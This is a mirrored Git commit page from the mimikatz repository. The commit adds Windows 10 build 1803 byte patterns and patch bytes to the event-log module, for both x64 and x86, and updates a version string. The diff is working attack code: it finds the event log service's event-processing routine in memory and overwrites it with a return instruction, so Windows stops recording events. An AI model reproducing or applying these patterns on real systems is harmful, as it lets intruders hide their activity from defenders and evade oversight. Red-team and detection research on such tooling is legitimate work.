RepoMirrors/mimikatz
1
0
Fork 0
mirror of https://github.com/gentilkiwi/mimikatz synced 2025-02-27 23:30:21 +00:00
Code Issues Packages Projects Releases Wiki Activity

[new] mimikatz eventlog patch for 1803 ( for @darkoperator )

Browse Source 
[new] mimikatz version includes maximum Windows build number tested
This commit is contained in:
Benjamin DELPY 2018-12-10 00:03:02 +01:00
parent 2fd09bbef0
commit fe6a853ec3
2 changed files with 8 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
inc/globals.h
View File

@ -32,7 +32,8 @@
#define MIMIKATZ L"mimikatz"
#define MIMIKATZ_VERSION L"2.1.1"
#define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") built on " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_MAX_WINBUILD L"17763"
#define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") #" MIMIKATZ_MAX_WINBUILD L" " TEXT(__DATE__) L" " TEXT(__TIME__)
#define MIMIKATZ_SECOND L"\"" MIMIKATZ_CODENAME L"\""
#define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log"
#define MIMIKATZ_DRIVER L"mimidrv"

8
mimikatz/modules/kuhl_m_event.c
View File

@ -21,6 +21,7 @@ BYTE PTRN_WIN6_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x
BYTE PTRN_WI10_Channel__ActualProcessEvent[] = {0x48, 0x8b, 0xc4, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x40, 0xc8, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x58, 0x08};
BYTE PTRN_WN10_1607_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
BYTE PTRN_WN10_1709_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xca, 0xe8};
BYTE PTRN_WN10_1803_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x89, 0x6c, 0x24, 0x58, 0x48, 0x89, 0x74, 0x24, 0x60};
BYTE PTRN_WN10_1809_Channel__ActualProcessEvent[] = {0x40, 0x57, 0x48, 0x83, 0xec, 0x40, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x89, 0x74, 0x24, 0x58, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0xca, 0xe8};
BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
@ -33,6 +34,7 @@ KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WI10_Channel__ActualProcessEvent), PTRN_WI10_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_WN10_1607_Channel__ActualProcessEvent), PTRN_WN10_1607_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_WN10_1709_Channel__ActualProcessEvent), PTRN_WN10_1709_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN10_1803_Channel__ActualProcessEvent), PTRN_WN10_1803_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_WNT6_Channel__ActualProcessEvent), PATC_WNT6_Channel__ActualProcessEvent}, { 0}},
};
#elif defined _M_IX86
@ -44,12 +46,13 @@ BYTE PTRN_WN63_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x
BYTE PTRN_WN64_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x89, 0x44, 0x24, 0x10, 0x53, 0x56, 0x57, 0xa1};
BYTE PTRN_WN10_1607_Channel__ActualProcessEvent[] = {0x8b, 0xd9, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_WN10_1709_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x0c, 0x56, 0x57, 0x8b, 0xf9, 0x8b, 0x4d, 0x08, 0xe8};
BYTE PTRN_WN10_1803_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x89, 0x75, 0xec, 0x8b, 0x7d, 0x08, 0x8b, 0xcf, 0xe8};
BYTE PTRN_WN10_1809_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x89, 0x75, 0xf0, 0x8b, 0x7d, 0x08, 0x8b, 0xcf, 0xe8};
BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
BYTE PATC_W1809_Channel__ActualProcessEvent[] = {0xc2, 0x0c, 0x00};
BYTE PATC_W1803_Channel__ActualProcessEvent[] = {0xc2, 0x0c, 0x00};
KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WNT5_PerformWriteRequest), PTRN_WNT5_PerformWriteRequest}, {sizeof(PATC_WNT5_PerformWriteRequest), PATC_WNT5_PerformWriteRequest}, {-20}},
@ -60,7 +63,8 @@ KULL_M_PATCH_GENERIC EventReferences[] = {
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_WN64_Channel__ActualProcessEvent), PTRN_WN64_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, {-30}},
{KULL_M_WIN_BUILD_10_1607, {sizeof(PTRN_WN10_1607_Channel__ActualProcessEvent), PTRN_WN10_1607_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1709, {sizeof(PTRN_WN10_1709_Channel__ActualProcessEvent), PTRN_WN10_1709_Channel__ActualProcessEvent}, {sizeof(PATC_WNO8_Channel__ActualProcessEvent), PATC_WNO8_Channel__ActualProcessEvent}, { 0}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_W1809_Channel__ActualProcessEvent), PATC_W1809_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1803, {sizeof(PTRN_WN10_1803_Channel__ActualProcessEvent), PTRN_WN10_1803_Channel__ActualProcessEvent}, {sizeof(PATC_W1803_Channel__ActualProcessEvent), PATC_W1803_Channel__ActualProcessEvent}, {-12}},
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_1809_Channel__ActualProcessEvent), PTRN_WN10_1809_Channel__ActualProcessEvent}, {sizeof(PATC_W1803_Channel__ActualProcessEvent), PATC_W1803_Channel__ActualProcessEvent}, {-12}},
};
#endif